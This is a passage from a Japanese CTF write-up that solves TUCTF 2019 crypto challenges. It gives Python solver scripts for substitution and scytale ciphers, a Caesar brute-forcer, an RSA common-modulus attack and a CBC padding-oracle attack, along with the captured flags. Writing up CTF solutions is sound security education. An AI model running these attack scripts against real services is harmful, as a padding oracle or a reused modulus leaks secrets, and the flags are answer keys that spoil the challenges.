]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] _ _ _ _ _ _ _ _ ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] _ _ _ _ _ _ _ _ ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] _ _ _ _ _ _ _ _ ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] ]v.] _ _ _ _ _ _ _ _

ABBCCCDDDDEEEEEFFFFFFGGGGGGGHHHHHHHHIIIIIIIIIJJJJJJJJJJKKKKKKKKKKKLLLLLLLLLLLLMMMMMMMMMMMMMNNNNNNNNNNNNNNOOOOOOOOOOOOOOOPPPPPPPPPPPPPPPPQQQQQQQQQQQQQQQQQRRRRRRRRRRRRRRRRRRSSSSSSSSSSSSSSSSSSSTTTTTTTTTTTTTTTTTTTTUUUUUUUUUUUUUUUUUUUUUVVVVVVVVVVVVVVVVVVVVVVWWWWWWWWWWWWWWWWWWWWWWWXXXXXXXXXXXXXXXXXXXXXXXXYYYYYYYYYYYYYYYYYYYYYYYYYZZZZZZZZZZZZZZZZZZZZZZZZZZ
> _ -[ - v_ v_ v[ ]v. ]v. ]|] ]|] ]|] ]| ]| |] |] |] ]. ]. ]. [ [ [ .] .] .] .] ].] ].] ].] ]v|] ]v|] ]v|] ]v|] ]v| ]v| ]v| ]v| ]v| -v -v -v -v v|] v|] v|] v|] v|] -v[ -v[ -v[ -v[ -v[ v.] v.] v.] v.] v.] ^ ^ ^ ^ ^ ^ < < < < < v^ v^ v^ v^ v^ v^ v> v> v> v> v> v> v> v< v< v< v< v< v< ]v.] _ -[ - v_ v[ v[ ]v. ]v. ]|] ]|] ]| ]| ]| |] |] |] ]. ]. ]. [ [ [ .] .] .] ].] ].] ].] ].] ]v|] ]v|] ]v|] ]v|] ]v| ]v| ]v| ]v| -v -v -v -v -v v|] v|] v|] v|] v|] -v[ -v[ -v[ -v[ -v[ v.] v.] v.] v.] v.] ^ ^ ^ ^ ^ < < < < < < v^ v^ v^ v^ v^ v^ v> v> v> v> v> v> v< v< v< v< v< v< v< ]v.] -[ - - v_ v[ v[ ]v. ]v. ]|] ]|] ]| ]| ]| |] |] ]. ]. ]. [ [ [ [ .] .] .] ].] ].] ].] ].] ]v|] ]v|] ]v|] ]v|] ]v| ]v| ]v| ]v| -v -v -v -v -v v|] v|] v|] v|] -v[ -v[ -v[ -v[ -v[ v.] v.] v.] v.] v.] v.] ^ ^ ^ ^ ^ < < < < < < v^ v^ v^ v^ v^ v^ v> v> v> v> v> v> v< v< v< v< v< v< v< _ -[ - v_ v_ v[ v[ ]v. ]v. ]|] ]|] ]| ]| |] |] |] ]. ]. ]. [ [ [ .] .] .] .] ].] ].] ].] ].] ]v|] ]v|] ]v|] ]v|] ]v| ]v| ]v| ]v| -v -v -v -v v|] v|] v|] v|] v|] -v[ -v[ -v[ -v[ -v[ v.] v.] v.] v.] v.] ^ ^ ^ ^ ^ ^ < < < < < < v^ v^ v^ v^ v^ v^ v> v> v> v> v> v> v< v< v< v< v< v<

A: >
B: ]v.]
C: _
D: -[
E: -
F: v_
G: v[
H: ]v.
I: ]|]
J: ]|
K: |]
L: ].
M: [
N: .]
O: ].]
P: ]v|]
Q: ]v|
R: -v
S: v|]
T: -v[
U: v.]
V: ^
W: <
X: v^
Y: v>
Z: v<

ABCDEFGHIJKLMNOPQRSTUVWXYZ
> - ]|] [ ]v| v.] v> ]v.] v_ ]| .] -v ^ v< _ v[ |] ].] v|] < -[ ]v. ]. ]v|] -v[ v^

A E I ...

Level 6と同じ暗号。

以上から、最終的なコードは以下の通り。

import socket
import string

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.tuctf.com', 30102))

def decrypt_scytale(s):
    divs = len(s) // 4
    remains = len(s) % 4
    blocks = []
    index = 0
    for i in range(4):
        if remains != 4 and i < remains:
            length = divs + 1
        else:
            length = divs
        blocks.append(s[index:index+length])
        index += length
    dec = ''
    for i in range(divs + 1):
        for j in range(4):
            if i != divs:
                dec += blocks[j][i]
            elif j < remains:
                dec += blocks[j][i]
    return dec

#### Level 0-4 ####
for level in range(5):
    data = recvuntil(s, ':\n').rstrip()
    print data

    send_data = string.uppercase
    print send_data
    s.sendall(send_data + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    enc_tbl = data.split(' ')[3:]

    for _ in range(2):
        data = recvuntil(s, '\n').rstrip()
        print data

    for i in range(50):
        print 'Level %d - Round %d' % (level, i + 1)
        enc = data.split(' ')[1:]
        dec = ''
        for e in enc:
            idx = enc_tbl.index(e)
            dec += string.uppercase[idx]
        print dec
        s.sendall(dec + '\n')

        for _ in range(4):
            data = recvuntil(s, '\n').rstrip()
            print data

#### Level 5 ####
for level in range(5, 6):
    data = recvuntil(s, ':\n').rstrip()
    print data

    send_data = ''
    for c in string.uppercase:
        send_data += c * 8
    print send_data
    s.sendall(send_data + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    enc_tbl = data.split(' ')[3:]

    enc_tbl2 = []
    for i in range(8):
        tmp_enc_tbl = []
        for j in range(26):
            tmp_enc_tbl.append(enc_tbl[i + j * 8])
        enc_tbl2.append(tmp_enc_tbl)

    for _ in range(2):
        data = recvuntil(s, '\n').rstrip()
        print data

    for i in range(50):
        print 'Level %d - Round %d' % (level, i + 1)
        enc = data.split(' ')[1:]
        dec = ''
        for j in range(len(enc)):
            idx = enc_tbl2[j % 8].index(enc[j])
            dec += string.uppercase[idx]
        print dec
        s.sendall(dec + '\n')

        for _ in range(4):
            data = recvuntil(s, '\n').rstrip()
            print data

#### Level 6 ####
for level in range(6, 7):
    data = recvuntil(s, ':\n').rstrip()
    print data

    send_data = string.uppercase
    s.sendall(send_data + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    enc_tbl = data.split(' ')[3:]

    enc_tbl2 = [enc_tbl[:7], enc_tbl[7:14], enc_tbl[14:20], enc_tbl[20:]]
    enc_tbl3 = []
    for i in range(6):
        for j in range(4):
            enc_tbl3.append(enc_tbl2[j][i])
    enc_tbl3.append(enc_tbl2[0][6])
    enc_tbl3.append(enc_tbl2[1][6])

    for _ in range(2):
        data = recvuntil(s, '\n').rstrip()
        print data

    for i in range(50):
        print 'Level %d - Round %d' % (level, i + 1)
        enc = data.split(' ')[1:]
        dec = ''
        for e in enc:
            idx = enc_tbl3.index(e)
            dec += string.uppercase[idx]

        dec = decrypt_scytale(dec)
        print dec
        s.sendall(dec + '\n')

        for _ in range(4):
            data = recvuntil(s, '\n').rstrip()
            print data

#### Level 7 ####
for level in range(7, 8):
    data = recvuntil(s, ':\n').rstrip()
    print data

    send_data = string.uppercase
    print send_data
    s.sendall(send_data + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    enc_tbl = data.split(' ')[3:]

    for _ in range(2):
        data = recvuntil(s, '\n').rstrip()
        print data

    for i in range(50):
        print 'Level %d - Round %d' % (level, i + 1)
        enc = data.split(' ')[1:]
        dec = ''
        for e in enc:
            idx = enc_tbl.index(e)
            dec += string.uppercase[idx]
        print dec
        s.sendall(dec + '\n')

        for _ in range(4):
            data = recvuntil(s, '\n').rstrip()
            print data

#### Level 8 ####
for level in range(8, 9):
    data = recvuntil(s, ':\n').rstrip()
    print data

    send_data = ''
    for c in string.uppercase:
        send_data += c * 7
    print send_data
    s.sendall(send_data + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    enc_tbl = data.split(' ')[3:]

    enc_tbl2 = []
    for i in range(7):
        tmp_enc_tbl = []
        for j in range(26):
            tmp_enc_tbl.append(enc_tbl[i + j * 7])
        enc_tbl2.append(tmp_enc_tbl)

    for _ in range(2):
        data = recvuntil(s, '\n').rstrip()
        print data

    for i in range(50):
        print 'Level %d - Round %d' % (level, i + 1)
        enc = data.split(' ')[1:]
        dec = ''
        for j in range(len(enc)):
            idx = enc_tbl2[j % 7].index(enc[j])
            dec += string.uppercase[idx]
        print dec
        s.sendall(dec + '\n')

        for _ in range(4):
            data = recvuntil(s, '\n').rstrip()
            print data

#### Level 9 ####
for level in range(9, 10):
    data = recvuntil(s, ':\n').rstrip()
    print data

    send_data = string.uppercase
    s.sendall(send_data + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    enc_tbl = data.split(' ')[3:]

    enc_tbl2 = [enc_tbl[:7], enc_tbl[7:14], enc_tbl[14:20], enc_tbl[20:]]
    enc_tbl3 = []
    for i in range(6):
        for j in range(4):
            enc_tbl3.append(enc_tbl2[j][i])
    enc_tbl3.append(enc_tbl2[0][6])
    enc_tbl3.append(enc_tbl2[1][6])

    for _ in range(2):
        data = recvuntil(s, '\n').rstrip()
        print data

    for i in range(50):
        print 'Level %d - Round %d' % (level, i + 1)
        enc = data.split(' ')[1:]
        dec = ''
        for e in enc:
            idx = enc_tbl3.index(e)
            dec += string.uppercase[idx]

        dec = decrypt_scytale(dec)
        print dec
        s.sendall(dec + '\n')

        for _ in range(4):
            data = recvuntil(s, '\n').rstrip()
            print data

data = recvuntil(s, ':\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

    :
Decrypt ]v|] ].] v.] v|] -v - ]v|]
Level 9 - Round 49
PURPOSE

Nice job!

Decrypt -v[ - ]v. > ].] v.] -v
Level 9 - Round 50
THOREAU

Ayyyyy

Congratulations! You beat Level 9!


Congratulations on finding infinity!

Here's your flag:
TUCTF{1nf1n1t3_1s_n0t_4_g00d_n4m3}
TUCTF{1nf1n1t3_1s_n0t_4_g00d_n4m3}

Sonic (Crypto)

$ nc chal.tuctf.com 30100

    ___------__
 |\__-- /\       _-
 |/    __      -
 //\  /  \    /__
 |  o|  0|__     --_
 \____-- __ \   ___-
 (@@    __/  / /_
    -_____---   --_
    //  \ \\   ___-
    //|\__/  \  \
    \_-\_____/  \-\
        // \\--\| 
    ____//  ||_
  /_____\ /___\

  Gotta go fast!

  
Hey, decode this: RUWKRGRA
a

Hey, decode this: RUWKRGRA
a

Hey, decode this: RUWKRGRA
aaa

Hey, decode this: RUWKRGRA
aa

Hey, decode this: RUWKRGRA
aaa

Hey, decode this: RUWKRGRA
aaa

Hey, decode this: RUWKRGRA

短い暗号文なので、簡単な古典暗号と推測できる。基本的なシーザー暗号を試す。何回も試せるので、シフト数を変えて最大26回答えるスクリプトで実行する。

import socket
import string

def decode_ceaser(s, i):
    dec = ''
    for c in s:
        idx = string.uppercase.index(c) - i
        if idx < 0:
            idx += 26
        dec += string.uppercase[idx]
    return dec

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.tuctf.com', 30100))

data = recvuntil(s, ':')
data += recvuntil(s, '\n').rstrip()
print data
enc = data.split('\n')[-1].split(': ')[1]

for i in range(26):
    dec = decode_ceaser(enc, i)
    print dec
    s.sendall(dec + '\n')
    data = recvuntil(s, '\n').rstrip()
    print data
    data = recvuntil(s, '\n').rstrip()
    print data
    if ':' not in data:
        break

for i in range(3):
    data = recvuntil(s, '\n').rstrip()
    print data

実行結果は以下の通り。

    ___------__
 |\__-- /\       _-
 |/    __      -
 //\  /  \    /__
 |  o|  0|__     --_
 \____-- __ \   ___-
 (@@    __/  / /_
    -_____---   --_
    //  \ \\   ___-
    //|\__/  \  \
    \_-\_____/  \-\
        // \\--\|
    ____//  ||_
  /_____\ /___\

  Gotta go fast!


Hey, decode this: ZVCROVG
ZVCROVG

Hey, decode this: ZVCROVG
YUBQNUF

Hey, decode this: ZVCROVG
XTAPMTE

Hey, decode this: ZVCROVG
WSZOLSD

Hey, decode this: ZVCROVG
VRYNKRC

Hey, decode this: ZVCROVG
UQXMJQB

Hey, decode this: ZVCROVG
TPWLIPA

Hey, decode this: ZVCROVG
SOVKHOZ

You got it!

Here's your prize:
TUCTF{W04H_DUD3_S0_F4ST_S0N1C_4PPR0V3S}
TUCTF{W04H_DUD3_S0_F4ST_S0N1C_4PPR0V3S}

Something in Common (Crypto)

RSA暗号。同じ平文に対して、nが1つ、eが2パターンで暗号化したデータ2つがわかっている。Common Modules Attackで復号する。

import gmpy
from Crypto.Util.number import *

def commom_modules_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = gmpy.invert(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = gmpy.invert(c2, n)
 
    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v*w) % n
    return x

n = 5196832088920565976847626600109930685983685377698793940303688567224093844213838345196177721067370218315332090523532228920532139397652718602647376176214689
e1 = 15
e2 = 13
c1 = 2042084937526293083328581576825435106672034183860987592520636048680382212041801675344422421233222921527377650749831658168085014081281116990629250092000069
c2 = 199621218068987060560259773620211396108271911964032609729865342591708524675430090445150449567825472793342358513366241310112450278540477486174011171344408
 
m = commom_modules_attack(c1, c2, e1, e2, n)
flag = long_to_bytes(m)
print flag
TUCTF{Y0U_SH0ULDNT_R3US3_TH3_M0DULUS}

Warren (Crypto)

$ nc chal.tuctf.com 30101

Welcome to the Warren Buffet!

You must solve all of the ciphers
to receive the flag.

I'd recommend filling your plate
and solving all at once.
(The timeout is 90 seconds)


MENU:
1) Affine
2) Baconian
3) Caesar
4) Atbash
5) Vigenere
1

Have you heard of this one? Because I just read about it.
Here's your cipher:

UBBAHK AO U LUT CAPJKX

どうやら、各暗号の復号を全部解いたら、フラグが取れるらしい。

以下のオンラインツールで復号して答える。
- https://www.dcode.fr/affine-cipher
- https://www.dcode.fr/bacon-cipher
- https://www.dcode.fr/caesar-cipher
- https://www.dcode.fr/atbash-mirror-cipher
- https://www.dcode.fr/vigenere-cipher
$ nc chal.tuctf.com 30101

Welcome to the Warren Buffet!

You must solve all of the ciphers
to receive the flag.

I'd recommend filling your plate
and solving all at once.
(The timeout is 90 seconds)


MENU:
1) Affine
2) Baconian
3) Caesar
4) Atbash
5) Vigenere
1

Have you heard of this one? Because I just read about it.
Here's your cipher:

UBBAHK AO U LUT CAPJKX

Give the plaintext: AFFINE IS A BAD CIPHER★
Correct!


MENU:
1) Affine [solved]
2) Baconian
3) Caesar
4) Atbash
5) Vigenere
2

Have some bacon!
Here's your cipher:

aaaabaaaaaaaabaabbababbaaabaaaaaaaaabbaa abaaabaaab aabaaabbaaabaaaabbabbabbaaaaaaaaaabababaaabaa

Give the plaintext: BACONIAN IS ENJOYABLE★
Correct!


MENU:
1) Affine [solved]
2) Baconian [solved]
3) Caesar
4) Atbash
5) Vigenere
3

Ready for a classic?
Here's your cipher:

WUYMUL CM UH YUMS WCJBYL

Give the plaintext: CAESAR IS AN EASY CIPHER★
Correct!


MENU:
1) Affine [solved]
2) Baconian [solved]
3) Caesar [solved]
4) Atbash
5) Vigenere
4

This is a fun one that's less common!
Here's your cipher:

ZGYZHS RH Z UFM XRKSVI

Give the plaintext: ATBASH IS A FUN CIPHER★
Correct!


MENU:
1) Affine [solved]
2) Baconian [solved]
3) Caesar [solved]
4) Atbash [solved]
5) Vigenere
5

This is a tough one!
Here's your cipher:

OCIXSXLG BX T BCKI VCRAJK

Give the plaintext: VIGENERE IS A HARD CIPHER★<- KEYはTUCTF
Correct!


Thanks for dining at the Warren buffet!

Here's your flag:


TUCTF{th4nks_f0r_d1n1ng_4641n_4t_th3_W4rr3n_buff3t}
TUCTF{th4nks_f0r_d1n1ng_4641n_4t_th3_W4rr3n_buff3t}

The Oracle (Crypto)

$ nc chal.tuctf.com 30103

Welcome! The Oracle will see you now!


Your ciphertext is:

Rq+qCucqmWTpwguvkEngCaz5K04v9qqBcUF/b3r3HDJDbR2GFt4NGn55Qlf2vc1h

MENU:

1) Check padding
2) Enter password

1

Give me your input: Rq+qCucqmWTpwguvkEngCaz5K04v9qqBcUF/b3r3HDJDbR2GFt4NGn55Qlf2vc1h

Padding Valid

MENU:

1) Check padding
2) Enter password

1

Give me your input: CucqCucqmWTpwguvkEngCaz5K04v9qqBcUF/b3r3HDJDbR2GFt4NGn55Qlf2vc1h

Padding Valid

MENU:

1) Check padding
2) Enter password

おそらくCBC Padding Oracle Attackの問題。スクリプトに組み、実行する。サーバへの接続が途中で切断される。できるだけ不要な情報の表示もなくして実行しなおす。

import socket

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def str_xor(s1, s2):
    return ''.join(chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2))

def unpad(s):
    return s[:-ord(s[-1])]

def is_valid(s, enc):
    send_data = enc.encode('base64')
    #print '1'
    s.sendall('1\n')
    data = recvuntil(s, ': ')
    #print data + send_data
    s.sendall(send_data + '\n')
    data = recvuntil(s, 'password\n').rstrip()
    #print data
    msg = data.split('\n')[1]
    data = recvuntil(s, '\n').rstrip()
    #print data
    if msg == 'Padding Valid':
        return True
    else:
        return False

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chal.tuctf.com', 30103))

data = recvuntil(s, 'password\n').rstrip()
print data

enc = data.split('\n')[6].decode('base64')

data = recvuntil(s, '\n').rstrip()
print data

enc_blocks = []
for i in range(0, len(enc), 16):
    enc_blocks.append(enc[i:i+16])

xor_blocks = []
for i in range(len(enc_blocks)-1, 0, -1):
    xor_block = ''
    for j in range(16):
        for code in range(256):
            print '%d - %d - %d: %s' % (i, j, code, xor_block.encode('hex'))
            print '****', str_xor(xor_block, enc_blocks[i-1][-j:]), '****'
            print '****', str_xor(enc_blocks[1], ''.join(xor_blocks)), '****'
            try_pre_block = '\x00' * (16 - j - 1) + chr(code) + str_xor(xor_block, chr(j+1)*j)
            try_cipher = try_pre_block + enc_blocks[i]
            if is_valid(s, try_cipher):
                xor_code = (j+1) ^ code
                xor_block = chr(xor_code) + xor_block
                break

    xor_blocks.append(xor_block)

password = ''
for i in range(len(xor_blocks)):
    password += str_xor(enc_blocks[i], xor_blocks[i])

password = unpad(password)

print '2'
s.sendall('2\n')
data = recvuntil(s, '? ')
print data + password
s.sendall(password + '\n')
data = recvuntil(s, ':')
print data
for i in range(4):
    data = recvuntil(s, '\n').rstrip()
    print data

実行結果は以下の通り。

Welcome! The Oracle will see you now!


Your ciphertext is:

zMSCpDMiONJCFJz0ZFSWCvf+eibttk4/F1hCiFmHmNEVm3GBuRg2hX5MpFtiWVxH

MENU:

1) Check padding
2) Enter password
           :
           :
1) Check padding
2) Enter password

2

What is the password? SUPERSECRETPASSWORDKEEPAWAY!

That's it!

Congratulations!

Here's your flag:



TUCTF{D0nt_l3t_y0ur_s3rv3r_g1v3_f33db4ck}
TUCTF{D0nt_l3t_y0ur_s3rv3r_g1v3_f33db4ck}

CTFZone 2019 Quals Writeup

この大会は2019/11/30 18:00(JST)~2019/12/2 6:00(JST)に開催されました。
今回もチームで参戦。結果は243点で492チーム中69位でした。
参加表明の問題しか解けていませんが、
自分で解けた問題をWriteupとして書いておきます。

Welcome to CTFZone!

問題にフラグが書いてあった。

ctfzone{2019}